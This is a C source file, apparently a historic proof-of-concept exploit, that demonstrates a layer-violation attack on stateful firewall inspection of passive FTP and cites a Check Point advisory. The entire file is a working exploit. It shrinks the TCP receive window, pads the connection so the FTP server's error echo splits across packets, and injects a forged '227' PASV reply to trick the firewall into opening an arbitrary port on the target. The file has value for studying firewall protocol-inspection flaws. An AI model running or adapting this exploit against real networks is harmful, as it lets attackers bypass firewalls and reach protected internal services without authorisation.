/*
  ftp-ozone.c
  
  Demonstrate a basic layer violation in "stateful" firewall
  inspection of application data (within IP packets - @#$@#$!):

     http://www.checkpoint.com/techsupport/alerts/pasvftp.html
  
  Dug Song <dugsong@monkey.org>
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>

#define PAD_LEN		128	/* XXX - anything on BSD, but Linux is weird */

#define GREEN		"\033[0m\033[01m\033[32m"
#define OFF		"\033[0m"

jmp_buf env_buf;

void
usage(void)
{
  fprintf(stderr, "Usage: ftp-ozone [-w win] <ftp-server> <port-to-open>\n");
  exit(1);
}

u_long
resolve_host(char *host)
{
  u_long addr;
  struct hostent *hp;
  
  if (host == NULL) return (0);
  
  if ((addr = inet_addr(host)) == -1) {
    if ((hp = gethostbyname(host)) == NULL)
      return (0);
    memcpy((char *)&addr, hp->h_addr, sizeof(addr));
  }
  return (addr);
}

#define UC(b)	(((int)b)&0xff)

int
ftp_pasv_reply(char *buf, int size, u_long ip, u_short port)
{
  char *p, *q;

  port = htons(port);
  p = (char *)&ip;
  q = (char *)&port;
  
  return (snprintf(buf, size, "227 (%d,%d,%d,%d,%d,%d)\r\n",
		   UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
		   UC(q[0]), UC(q[1])));
}

void handle_timeout(int sig)
{
  alarm(0);
  longjmp(env_buf, 1);
}

void
read_server_loop(int fd, int timeout, int pretty)
{
  char buf[2048];
  int rlen;
  
  if (!setjmp(env_buf)) {
    signal(SIGALRM, handle_timeout);
    alarm(timeout);
    for (;;) {
      if ((rlen = read(fd, buf, sizeof(buf))) == -1)
	break;
      if (pretty) {
	buf[rlen] = '\0';
	if (strncmp(buf, "227 ", 4) == 0)
	  printf("[" GREEN "%s" OFF "]\n", buf);
	else printf("[%s]\n", buf);
      }
      else write(0, buf, rlen);
    }
    alarm(0);
  }
}

int
main(int argc, char *argv[])
{
  int c, fd, win, len;
  u_long dst;
  u_short dport;
  struct sockaddr_in sin;
  char buf[1024];
  
  win = PAD_LEN;

  while ((c = getopt(argc, argv, "w:h?")) != -1) {
    switch (c) {
    case 'w':
      if ((win = atoi(optarg)) == 0)
	usage();
      break;
    default:
      usage();
    }
  }
  argc -= optind;
  argv += optind;
  
  if (argc != 2)
    usage();
  
  if ((dst = resolve_host(argv[0])) == 0)
    usage();
  
  if ((dport = atoi(argv[1])) == 0)
    usage();
  
  /* Connect to FTP server. */
  memset(&sin, 0, sizeof(sin));
  sin.sin_addr.s_addr = dst;
  sin.sin_family = AF_INET;
  sin.sin_port = htons(21);
  
  if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    perror("socket");
    exit(1);
  }
  if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1) {
    perror("setsockopt");
    exit(1);
  }
  if (connect(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
    perror("connect");
    exit(1);
  }
  read_server_loop(fd, 10, 0);

  /* Send padding. */
  len = win - 5; 	/* XXX - "500 '" */
  memset(buf, '.', len);

  if (write(fd, buf, len) != len) {
    perror("write");
    exit(1);
  }
  /* Send faked reply. */
  len = ftp_pasv_reply(buf, sizeof(buf), dst, dport);

  if (write(fd, buf, len) != len) {
    perror("write");
    exit(1);
  }
  read_server_loop(fd, 5, 1);
  
  printf("[ now try connecting to %s %d ]\n", argv[0], dport);
  
  for (;;) {
    ;
  }
  /* NOTREACHED */

  exit(0);
}

/* w00w00. */